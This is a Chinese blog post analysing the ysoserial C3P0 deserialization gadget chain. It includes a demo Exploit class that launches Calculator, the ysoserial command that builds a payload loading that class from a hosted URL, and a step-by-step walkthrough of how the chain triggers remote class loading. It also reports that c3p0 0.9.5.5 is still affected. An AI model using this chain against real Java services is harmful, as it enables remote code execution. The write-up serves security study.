ysoserial-C3P0

public class Exploit {
    public Exploit(){
        try {
            Runtime.getRuntime().exec("open /System/Applications/Calculator.app");
        } catch (Exception e) {

        }
    }
}
java -jar ysoserial-master-55f1e7c35c-1.jar C3P0 "http://127.0.0.1:8888/:Exploit" > test.txt
python -m SimpleHTTPServer 8888

0x04 利用链分析

public Object getObject ( String command ) throws Exception {
    int sep = command.lastIndexOf(':');
    if ( sep < 0 ) {
        throw new IllegalArgumentException("Command format is: <base_url>:<classname>");
    }

    String url = command.substring(0, sep);
    String className = command.substring(sep + 1);

    PoolBackedDataSource b = Reflections.createWithoutConstructor(PoolBackedDataSource.class);
    Reflections.getField(PoolBackedDataSourceBase.class, "connectionPoolDataSource").set(b, new PoolSource(className, url));
    return b;
}

这里简单分享一个 ysoserial 本身的调试,知道的师傅可以略过了,debug的时候在 Program arguments 增加相关参数。

然后在 ysoserial.GeneratePayload 选择debug启动,并且在C3P0处下一个断点,自然就进来了。

首先通过 Reflections.createWithoutConstructor 构造了无参数对象,可以看到这里面只有类名,其他啥都没。

然后将对象的 connectionPoolDataSource 设置为了我们需要的 C3P0 的内部 PoolSource 对象。

但是我们都知道反序列化漏洞肯定是需要序列化生成对象,所以会和 writeObject 有关系,进入到 PoolBackedDataSourceBase ,这里首先尝试进行序列化。但是回头看看我们的开头的 PoolSource 类的定义,没有继承 Serializable 接口,所以他没办法进行序列化。根据下图中的代码逻辑,当无法进行序列化的时候,自然进入到是第三个红框中的获取 reference 。这里代码中有个 this.connectionPoolDataSource 对象,这也是为什么最开始定义 PoolSource 类的时候需要同时实现 ConnectionPoolDataSourceReferenceable

而在 ReferenceIndirector 这个类中,对象 Reference 会被 ReferenceSerialized 包装后写入到数据字节流中。

上面就是 payload 生成过程中利用链,既然是序列化生成,那么反序列化的时候自然会针对对象进行读取。在 PoolBackedDataSourceBase 中会进行readobject方法读取序列化对象中的 ReferenceSerialized 对象。

然后会调用 ReferenceIndirector#getObject 方法,读取刚刚写入的恶意类 Exploit

最后return时候经过 ReferenceableUtils.referenceToObject 处理,在 referenceToObject 看到了最终的触发点。通过刚刚传入的URL地址,加载了我们的恶意类 Exploit ,并且调用无参构造函数进行实例化,最后完成整个过程。

序列化过程:

反序列化过程:

0x05 漏洞修复

其实不能说是漏洞,应该说是利用链缓解,本以为 ysoserial 这个组件中说的 c3p0:0.9.5.2

那么下一个版本可能会有缓解措施,但是现实却是十分的骨感,我在这个 地方 ,看到当前最高版本是0.9.5.5更新时间是2019/12

实际测试下来,依然能够使用

0x06 小结

这个利用链还是挺有趣的,有点像JDNI注入,通过获取工厂对象,重新构造ConnectionPoolDataSource,利用反序列化一步步达到自己的目的。

我来评几句
登录后评论

已发表评论数()

相关站点

+订阅
热门文章